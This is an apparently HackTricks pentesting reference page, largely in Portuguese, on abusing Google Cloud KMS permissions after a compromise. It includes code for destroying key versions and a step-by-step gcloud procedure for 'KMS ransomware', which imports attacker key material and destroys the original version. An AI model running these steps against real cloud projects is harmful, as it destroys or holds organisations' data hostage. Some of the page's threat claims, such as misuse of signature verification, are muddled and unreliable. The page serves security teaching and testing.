GCP - KMS Post Exploitation

Support HackTricks

KMS

Encontre informações básicas sobre KMS em:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Um atacante com essa permissão poderia destruir uma versão do KMS. Para fazer isso, primeiro você precisa desativar a chave e depois destruí-la:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

No AWS é possível roubar completamente uma chave KMS modificando a política de recursos KMS e permitindo apenas que a conta do atacante use a chave. Como essas políticas de recursos não existem no GCP, isso não é possível.

No entanto, há outra maneira de realizar um KMS Ransomware global, que envolveria os seguintes passos:

  • Criar uma nova versão da chave com um material de chave importado pelo atacante

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Defina como versão padrão (para dados futuros sendo criptografados)

  • Recriptografe dados antigos criptografados com a versão anterior com a nova.

  • Exclua a chave KMS

  • Agora, apenas o atacante, que possui o material da chave original, poderá descriptografar os dados criptografados

Aqui estão os passos para importar uma nova versão e desativar/excluir os dados antigos:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

Essas permissões permitem que um invasor use uma chave KMS para criptografar dados. Isso pode ser útil para proteger dados exfiltrados ou para outros fins maliciosos.

Abusando da Permissão

Para abusar dessa permissão, você pode usar o seguinte comando gcloud:

gcloud kms encrypt \
  --location <location> \
  --keyring <keyring> \
  --key <key> \
  --plaintext-file <plaintext-file> \
  --ciphertext-file <ciphertext-file>

cloudkms.cryptoKeyVersions.useToDecrypt | cloudkms.cryptoKeyVersions.useToDecryptViaDelegation

Essas permissões permitem que um invasor use uma chave KMS para descriptografar dados. Isso pode ser útil para acessar dados sensíveis que foram criptografados.

Abusando da Permissão

Para abusar dessa permissão, você pode usar o seguinte comando gcloud:

gcloud kms decrypt \
  --location <location> \
  --keyring <keyring> \
  --key <key> \
  --ciphertext-file <ciphertext-file> \
  --plaintext-file <plaintext-file>
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Descrição

Permissão para usar versões de chaves criptográficas para assinar dados.

Exemplo de comando Gcloud

gcloud kms keys versions sign --location <location> --keyring <keyring> --key <key> --version <version> --digest-algorithm <digest-algorithm> --digest <digest>

Exemplo de comando Curl

curl -X POST -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
"https://cloudkms.googleapis.com/v1/projects/<project>/locations/<location>/keyRings/<keyring>/cryptoKeys/<key>/cryptoKeyVersions/<version>:asymmetricSign" \
-d '{
  "digest": {
    "<digest-algorithm>": "<digest>"
  }
}'

cloudkms.cryptoKeyVersions.useToDecrypt

Descrição

Permissão para usar versões de chaves criptográficas para descriptografar dados.

Exemplo de comando Gcloud

gcloud kms keys versions decrypt --location <location> --keyring <keyring> --key <key> --version <version> --ciphertext-file <ciphertext-file> --plaintext-file <plaintext-file>

Exemplo de comando Curl

curl -X POST -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
"https://cloudkms.googleapis.com/v1/projects/<project>/locations/<location>/keyRings/<keyring>/cryptoKeys/<key>/cryptoKeyVersions/<version>:decrypt" \
-d '{
  "ciphertext": "<ciphertext>"
}'
import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

Esta permissão permite que o usuário verifique assinaturas usando uma versão de chave criptográfica específica. Se um invasor obtiver acesso a esta permissão, ele poderá verificar a autenticidade de mensagens ou dados assinados, o que pode ser útil em ataques de engenharia social ou para validar dados interceptados.

cloudkms.cryptoKeyVersions.viewPublicKey

Esta permissão permite que o usuário visualize a chave pública de uma versão de chave criptográfica específica. Com acesso a esta permissão, um invasor pode obter a chave pública e usá-la para criptografar dados que só podem ser descriptografados com a chave privada correspondente, potencialmente facilitando ataques de interceptação ou man-in-the-middle.

cloudkms.cryptoKeys.get

Esta permissão permite que o usuário obtenha metadados sobre uma chave criptográfica específica. Um invasor com esta permissão pode coletar informações sobre as chaves criptográficas em uso, incluindo suas políticas de uso e estado, o que pode ajudar no planejamento de ataques mais direcionados.

cloudkms.cryptoKeys.list

Esta permissão permite que o usuário liste todas as chaves criptográficas em um projeto ou local específico. Se um invasor obtiver esta permissão, ele poderá mapear todas as chaves disponíveis, facilitando a identificação de alvos valiosos para ataques subsequentes.

from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
Suporte HackTricks

Last updated